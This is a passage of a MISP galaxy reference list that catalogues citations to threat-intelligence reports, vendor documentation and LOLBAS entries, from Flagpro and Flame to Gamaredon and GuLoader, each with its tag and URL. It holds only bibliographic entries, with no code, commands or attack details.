The tag is: *misp-galaxy:references="Microsoft Azure AD Admin Consent"*

Table 20733. Table References

Links
https://docs.microsoft.com/en-us/azure/security/fundamentals/steps-secure-identity#block-end-user-consent

NTT Security Flagpro new December 2021

Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="NTT Security Flagpro new December 2021"*

Table 20734. Table References

Links
https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech

Kaspersky Flame Functionality

Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice…. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="Kaspersky Flame Functionality"*

Table 20735. Table References

Links
https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/

Crysys Skywiper

sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer): A complex malware for targeted attacks. Retrieved September 6, 2018.

The tag is: *misp-galaxy:references="Crysys Skywiper"*

Table 20736. Table References

Links
https://www.crysys.hu/publications/files/skywiper.pdf

Symantec Beetlejuice

Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.

The tag is: *misp-galaxy:references="Symantec Beetlejuice"*

Table 20737. Table References

Links
https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache

Microsoft Flax Typhoon August 24 2023

Microsoft Threat Intelligence. (2023, August 24). Flax Typhoon using legitimate software to quietly access Taiwanese organizations. Retrieved August 28, 2023.

The tag is: *misp-galaxy:references="Microsoft Flax Typhoon August 24 2023"*

Table 20738. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/

fltMC.exe - LOLBAS Project

LOLBAS. (2021, September 18). fltMC.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="fltMC.exe - LOLBAS Project"*

Table 20739. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/FltMC/

IranThreats Kittens Dec 2017

Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.

The tag is: *misp-galaxy:references="IranThreats Kittens Dec 2017"*

Table 20740. Table References

Links
https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/

MSTIC FoggyWeb September 2021

Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="MSTIC FoggyWeb September 2021"*

Table 20741. Table References

Links
https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/

Following the CloudTrail: Generating strong AWS security signals with Sumo Logic

Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.

The tag is: *misp-galaxy:references="Following the CloudTrail: Generating strong AWS security signals with Sumo Logic"*

Table 20742. Table References

Links
https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/

Group IB RTM August 2019

Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020.

The tag is: *misp-galaxy:references="Group IB RTM August 2019"*

Table 20743. Table References

Links
https://www.group-ib.com/blog/rtm

TrendMicro BlackTech June 2017

Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech's Cyber Espionage Campaigns. Retrieved May 5, 2020.

The tag is: *misp-galaxy:references="TrendMicro BlackTech June 2017"*

Table 20744. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/

FireEye FIN6 April 2016

FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye FIN6 April 2016"*

Table 20745. Table References

Links
https://web.archive.org/web/20190807112824/https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf

ESET FontOnLake Analysis 2021

Vladislav Hrčka. (2021, January 1). FontOnLake. Retrieved September 27, 2023.

The tag is: *misp-galaxy:references="ESET FontOnLake Analysis 2021"*

Table 20746. Table References

Links
https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf

amnesty_nso_pegasus

Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group's Pegasus. Retrieved February 22, 2022.

The tag is: *misp-galaxy:references="amnesty_nso_pegasus"*

Table 20747. Table References

Links
https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/

Microsoft Forfiles Aug 2016

Microsoft. (2016, August 31). Forfiles. Retrieved January 22, 2018.

The tag is: *misp-galaxy:references="Microsoft Forfiles Aug 2016"*

Table 20748. Table References

Links
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)

Forfiles.exe - LOLBAS Project

LOLBAS. (2018, May 25). Forfiles.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Forfiles.exe - LOLBAS Project"*

Table 20749. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Forfiles/

Mandiant Log4Shell March 28 2022

Geoff Ackerman, Tufail Ahmed, James Maclachlan, Dallin Warne, John Wolfram, Brandon Wilbur. (2022, March 28). Forged in Fire: A Survey of MobileIron Log4Shell Exploitation. Retrieved November 1, 2023.

The tag is: *misp-galaxy:references="Mandiant Log4Shell March 28 2022"*

Table 20750. Table References

Links
https://www.mandiant.com/resources/blog/mobileiron-log4shell-exploitation

Proofpoint March 24 2023

Proofpoint. (2023, March 24). Fork in the Ice: The New Era of IcedID | Proofpoint US. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="Proofpoint March 24 2023"*

Table 20751. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid

Symantec Seaduke 2015

Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.

The tag is: *misp-galaxy:references="Symantec Seaduke 2015"*

Table 20752. Table References

Links
http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory

Register Uber

McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Register Uber"*

Table 20753. Table References

Links
https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/

format_cmd_cisco

Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="format_cmd_cisco"*

Table 20754. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668

Quick Heal Blog February 17 2023

Quick Heal Blog. (2023, February 17). FormBook Malware Returns: New Variant Uses Steganography and In-Memory Loading of multiple stages to steal data. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Quick Heal Blog February 17 2023"*

Table 20755. Table References

Links
https://blogs.quickheal.com/formbook-malware-returns-new-variant-uses-steganography-and-in-memory-loading-of-multiple-stages-to-steal-data/

Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation

ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.

The tag is: *misp-galaxy:references="Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation"*

Table 20756. Table References

Links
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem

Mandiant Fortinet Zero Day

Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved March 22, 2023.

The tag is: *misp-galaxy:references="Mandiant Fortinet Zero Day"*

Table 20757. Table References

Links
https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem

Fortra Core Certified Exploit Library

Fortra. (n.d.). Fortra Core Certified Exploit Library. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Fortra Core Certified Exploit Library"*

Table 20758. Table References

Links
https://www.coresecurity.com/core-labs/exploits

macOS Foundation

Apple. (n.d.). Foundation. Retrieved July 1, 2020.

The tag is: *misp-galaxy:references="macOS Foundation"*

Table 20759. Table References

Links
https://developer.apple.com/documentation/foundation

SentinelOne Lazarus macOS July 2020

Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple's macOS Platform. Retrieved August 7, 2020.

The tag is: *misp-galaxy:references="SentinelOne Lazarus macOS July 2020"*

Table 20760. Table References

Links
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

DOJ Russia Targeting Critical Infrastructure March 2022

Department of Justice. (2022, March 24). Four Russian Government Employees Charged in Two Historical Hacking Campaigns Targeting Critical Infrastructure Worldwide. Retrieved April 5, 2022.

The tag is: *misp-galaxy:references="DOJ Russia Targeting Critical Infrastructure March 2022"*

Table 20761. Table References

Links
https://www.justice.gov/opa/pr/four-russian-government-employees-charged-two-historical-hacking-campaigns-targeting-critical

ClearkSky Fox Kitten February 2020

ClearSky. (2020, February 16). Fox Kitten – Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020.

The tag is: *misp-galaxy:references="ClearkSky Fox Kitten February 2020"*

Table 20762. Table References

Links
https://www.clearskysec.com/fox-kitten/

Security Affairs ANSSI APT28 OCT 2023

Paganini, P. (2023, October 27). France agency ANSSI warns of Russia-linked APT28 attacks on French entities. Retrieved December 3, 2024.

The tag is: *misp-galaxy:references="Security Affairs ANSSI APT28 OCT 2023"*

Table 20763. Table References

Links
https://securityaffairs.com/153131/apt/france-anssi-apt28.html

FSISAC FraudNetDoS September 2012

FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved September 23, 2024.

The tag is: *misp-galaxy:references="FSISAC FraudNetDoS September 2012"*

Table 20764. Table References

Links
https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf

MalwareBytes Ngrok February 2020

Segura, J. (2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020.

The tag is: *misp-galaxy:references="MalwareBytes Ngrok February 2020"*

Table 20765. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2020/02/fraudsters-cloak-credit-card-skimmer-with-fake-content-delivery-network-ngrok-server/

WSJ-Vishing-AI24

Catherine Stupp. (2019, August 30). Fraudsters Used AI to Mimic CEO’s Voice in Unusual Cybercrime Case. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="WSJ-Vishing-AI24"*

Table 20766. Table References

Links
https://www.wsj.com/articles/fraudsters-use-ai-to-mimic-ceos-voice-in-unusual-cybercrime-case-11567157402

Secureworks North Korea IT Workers October 16 2024

Counter Threat Unit Research Team. (2024, October 16). Fraudulent North Korean IT Worker Schemes: From Insider Threats to Extortion. Retrieved May 29, 2025.

The tag is: *misp-galaxy:references="Secureworks North Korea IT Workers October 16 2024"*

Table 20767. Table References

Links
https://web.archive.org/web/20241021133736/https://www.secureworks.com/blog/fraudulent-north-korean-it-worker-schemes

Microsoft Frequent freeloader part II

Microsoft Threat Intelligence. (2024, December 11). Frequent freeloader part II. Retrieved February 12, 2025.

The tag is: *misp-galaxy:references="Microsoft Frequent freeloader part II"*

Table 20768. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/

Akami Frog4Shell 2024

Ori David. (2024, February 1). Frog4Shell — FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="Akami Frog4Shell 2024"*

Table 20769. Table References

Links
https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell

ESET ComRAT May 2020

Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.

The tag is: *misp-galaxy:references="ESET ComRAT May 2020"*

Table 20770. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf

Azure AD to AD

Sean Metcalf. (2020, May 27). From Azure AD to Active Directory (via Azure) – An Unanticipated Attack Path. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="Azure AD to AD"*

Table 20771. Table References

Links
https://adsecurity.org/?p=4277

blackmatter_blackcat

Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.

The tag is: *misp-galaxy:references="blackmatter_blackcat"*

Table 20772. Table References

Links
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html

Proofpoint June 17 2024

Tommy Madjar, Dusty Miller, Selena Larson, The Proofpoint Threat Research Team. (2024, June 17). From Clipboard to Compromise A PowerShell Self-Pwn . Retrieved June 20, 2024.

The tag is: *misp-galaxy:references="Proofpoint June 17 2024"*

Table 20773. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn

proofpoint-selfpwn

Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.

The tag is: *misp-galaxy:references="proofpoint-selfpwn"*

Table 20774. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn

Sekoia.io Blog March 31 2025

Amaury G; Coline Chavane; Felix Aimé; Sekoia TDR; Nbsp; And. (2025, March 31). From Contagious to ClickFake Interview Lazarus leveraging the ClickFix tactic. Retrieved May 6, 2025.

The tag is: *misp-galaxy:references="Sekoia.io Blog March 31 2025"*

Table 20775. Table References

Links
https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/

Sekoia ClickFake 2025

Amaury G., Coline Chavane, Felix Aimé and Sekoia TDR. (2025, March 31). From Contagious to ClickFake Interview: Lazarus leveraging the ClickFix tactic. Retrieved April 1, 2025.

The tag is: *misp-galaxy:references="Sekoia ClickFake 2025"*

Table 20776. Table References

Links
https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/

Unit42 Malware Roundup December 29 2023

Samantha Stallings, Brad Duncan. (2023, December 29). From DarkGate to AsyncRAT: Malware Detected and Shared As Unit 42 Timely Threat Intelligence. Retrieved January 11, 2024.

The tag is: *misp-galaxy:references="Unit42 Malware Roundup December 29 2023"*

Table 20777. Table References

Links
https://unit42.paloaltonetworks.com/unit42-threat-intelligence-roundup/

Reaqta Mavinject

Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Reaqta Mavinject"*

Table 20778. Table References

Links
https://reaqta.com/2017/12/mavinject-microsoft-injector/

IBM MegaCortex

Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021.

The tag is: *misp-galaxy:references="IBM MegaCortex"*

Table 20779. Table References

Links
https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/

BiZone Lizar May 2021

BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker's toolkit. Retrieved February 2, 2022.

The tag is: *misp-galaxy:references="BiZone Lizar May 2021"*

Table 20780. Table References

Links
https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319

Zscaler November 4 2024

Seongsu Park. (2024, November 4). From Pyongyang to Your Payroll The Rise of North Korean Remote Workers in the West. Retrieved November 5, 2024.

The tag is: *misp-galaxy:references="Zscaler November 4 2024"*

Table 20781. Table References

Links

https://www.zscaler.com/blogs/security-research/pyongyang-your-payroll-rise-north-korean-remote-workers-west

Kaspersky StoneDrill 2017

Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.

The tag is: *misp-galaxy:references="Kaspersky StoneDrill 2017"*

Table 20782. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf

Proofpoint TA427 April 2024

Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427's Art of Information Gathering. Retrieved May 3, 2024.

The tag is: *misp-galaxy:references="Proofpoint TA427 April 2024"*

Table 20783. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering

SentinelOne Agrius 2021

Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.

The tag is: *misp-galaxy:references="SentinelOne Agrius 2021"*

Table 20784. Table References

Links
https://assets.sentinelone.com/sentinellabs/evol-agrius

FsiAnyCpu.exe - LOLBAS Project

LOLBAS. (2021, September 26). FsiAnyCpu.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="FsiAnyCpu.exe - LOLBAS Project"*

Table 20785. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/

Fsi.exe - LOLBAS Project

LOLBAS. (2021, September 26). Fsi.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Fsi.exe - LOLBAS Project"*

Table 20786. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/

fsutil_behavior

Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.

The tag is: *misp-galaxy:references="fsutil_behavior"*

Table 20787. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior

Fsutil.exe - LOLBAS Project

LOLBAS. (2021, August 16). Fsutil.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Fsutil.exe - LOLBAS Project"*

Table 20788. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Fsutil/

Microsoft FTP

Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022.

The tag is: *misp-galaxy:references="Microsoft FTP"*

Table 20789. Table References

Links
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp

Linux FTP

N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022.

The tag is: *misp-galaxy:references="Linux FTP"*

Table 20790. Table References

Links
https://linux.die.net/man/1/ftp

Ftp.exe - LOLBAS Project

LOLBAS. (2018, December 10). Ftp.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Ftp.exe - LOLBAS Project"*

Table 20791. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ftp/

Check Point Research January 10 2025

Stcpresearch. (2025, January 10). FunkSec - Alleged Top Ransomware Group Powered by AI. Retrieved January 13, 2025.

The tag is: *misp-galaxy:references="Check Point Research January 10 2025"*

Table 20792. Table References

Links
https://research.checkpoint.com/2025/funksec-alleged-top-ransomware-group-powered-by-ai/

Microsoft WMI Filters

Microsoft. (2008, September 11). Fun with WMI Filters in Group Policy. Retrieved March 13, 2019.

The tag is: *misp-galaxy:references="Microsoft WMI Filters"*

Table 20793. Table References

Links
https://blogs.technet.microsoft.com/askds/2008/09/11/fun-with-wmi-filters-in-group-policy/

Cybersecurity Advisory SVR TTP May 2021

NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July

29, 2021.

The tag is: *misp-galaxy:references="Cybersecurity Advisory SVR TTP May 2021"*

Table 20794. Table References

Links
https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf

RiskIQ Cobalt Nov 2017

Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.

The tag is: *misp-galaxy:references="RiskIQ Cobalt Nov 2017"*

Table 20795. Table References

Links
https://web.archive.org/web/20190508170630/https://www.riskiq.com/blog/labs/cobalt-strike/

Unit 42 PingPull Jun 2022

Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.

The tag is: *misp-galaxy:references="Unit 42 PingPull Jun 2022"*

Table 20796. Table References

Links
https://unit42.paloaltonetworks.com/pingpull-gallium/

Microsoft GALLIUM December 2019

MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021.

The tag is: *misp-galaxy:references="Microsoft GALLIUM December 2019"*

Table 20797. Table References

Links
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

Symantec Gallmaker Oct 2018

Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.

The tag is: *misp-galaxy:references="Symantec Gallmaker Oct 2018"*

Table 20798. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group

TrendMicro Gamaredon April 2020

Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.

The tag is: *misp-galaxy:references="TrendMicro Gamaredon April 2020"*

Table 20799. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/

ESET Gamaredon June 2020

Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.

The tag is: *misp-galaxy:references="ESET Gamaredon June 2020"*

Table 20800. Table References

Links
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/

CERT-EE Gamaredon January 2021

CERT-EE. (2021, January 27). Gamaredon Infection: From Dropper to Entry. Retrieved February 17, 2022.

The tag is: *misp-galaxy:references="CERT-EE Gamaredon January 2021"*

Table 20801. Table References

Links
https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf

Trend Micro November 25 2024

Leon M Chang; Theo Chen; Lenart Bermejo; Ted Lee Read time. (2024, November 25). Game of Emperor Unveiling Long Term Earth Estries Cyber Intrusions. Retrieved December 2, 2024.

The tag is: *misp-galaxy:references="Trend Micro November 25 2024"*

Table 20802. Table References

Links
https://www.trendmicro.com/pt_br/research/24/k/earth-estries.html

Kaspersky Winnti June 2015

Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="Kaspersky Winnti June 2015"*

Table 20803. Table References

Links
https://securelist.com/games-are-over/70991/

WeLiveSecurity Gapz and Redyms Mar 2013

Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.

The tag is: *misp-galaxy:references="WeLiveSecurity Gapz and Redyms Mar 2013"*

Table 20804. Table References

Links
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

theevilbit gatekeeper bypass 2021

Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="theevilbit gatekeeper bypass 2021"*

Table 20805. Table References

Links
https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/

Kaspersky Gauss Whitepaper

Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.

The tag is: *misp-galaxy:references="Kaspersky Gauss Whitepaper"*

Table 20806. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf

Kaspersky MoleRATs April 2019

GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.

The tag is: *misp-galaxy:references="Kaspersky MoleRATs April 2019"*

Table 20807. Table References

Links
https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/

ESET Gazer Aug 2017

ESET. (2017, August). Gazing at Gazer: Turla's new second stage backdoor. Retrieved September 14, 2017.

The tag is: *misp-galaxy:references="ESET Gazer Aug 2017"*

Table 20808. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf

file_sig_table

Kessler, G. (2022, December 9). GCK'S FILE SIGNATURES TABLE. Retrieved August 23, 2022.

The tag is: *misp-galaxy:references="file_sig_table"*

Table 20809. Table References

Links
https://www.garykessler.net/library/file_sigs.html

Google Cloud Add Metadata

Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Google Cloud Add Metadata"*

Table 20810. Table References

Links

https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata

Google Compute Instances

Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.

The tag is: *misp-galaxy:references="Google Compute Instances"*

Table 20811. Table References

Links
https://cloud.google.com/sdk/gcloud/reference/compute/instances/list

GCP SSH Key Add

Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.

The tag is: *misp-galaxy:references="GCP SSH Key Add"*

Table 20812. Table References

Links
https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add

Google Cloud - IAM Servie Accounts List API

Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="Google Cloud - IAM Servie Accounts List API"*

Table 20813. Table References

Links
https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list

ESET Gelsemium June 2021

Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.

The tag is: *misp-galaxy:references="ESET Gelsemium June 2021"*

Table 20814. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf

TechNet Scheduled Task Events

Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="TechNet Scheduled Task Events"*

Table 20815. Table References

Links
https://technet.microsoft.com/library/dd315590.aspx

Ebowla: Genetic Malware

Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.

The tag is: *misp-galaxy:references="Ebowla: Genetic Malware"*

Table 20816. Table References

Links
https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf

Proofpoint NETWIRE December 2020

Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.

The tag is: *misp-galaxy:references="Proofpoint NETWIRE December 2020"*

Table 20817. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns

Hartrell cd00r 2002

Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.

The tag is: *misp-galaxy:references="Hartrell cd00r 2002"*

Table 20818. Table References

Links
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631

Kubectl Exec Get Shell

The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.

The tag is: *misp-galaxy:references="Kubectl Exec Get Shell"*

Table 20819. Table References

Links
https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/

Microsoft getglobaladdresslist

Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Microsoft getglobaladdresslist"*

Table 20820. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist

Jay GetHooks Sept 2011

Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="Jay GetHooks Sept 2011"*

Table 20821. Table References

Links
https://github.com/jay/gethooks

Microsoft Get-InboxRule

Microsoft. (n.d.). Get-InboxRule. Retrieved June 10, 2021.

The tag is: *misp-galaxy:references="Microsoft Get-InboxRule"*

Table 20822. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/exchange/get-inboxrule?view=exchange-ps

Microsoft Msolrole

Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Microsoft Msolrole"*

Table 20823. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0

Microsoft msolrolemember

Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.

The tag is: *misp-galaxy:references="Microsoft msolrolemember"*

Table 20824. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0

JumpCloud Conditional Access Policies

JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="JumpCloud Conditional Access Policies"*

Table 20825. Table References

Links
https://jumpcloud.com/support/get-started-conditional-access-policies

rowland linux at 2019

Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.

The tag is: *misp-galaxy:references="rowland linux at 2019"*

Table 20826. Table References

Links
https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/

Elastic GuLoader December 5 2023

Daniel Stepanic. (2023, December 5). Getting gooey with GULOADER: deobfuscating the downloader. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="Elastic GuLoader December 5 2023"*

Table 20827. Table References

Links
https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader

BlackHatRobinSage

Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.

The tag is: *misp-galaxy:references="BlackHatRobinSage"*

Table 20828. Table References

Links
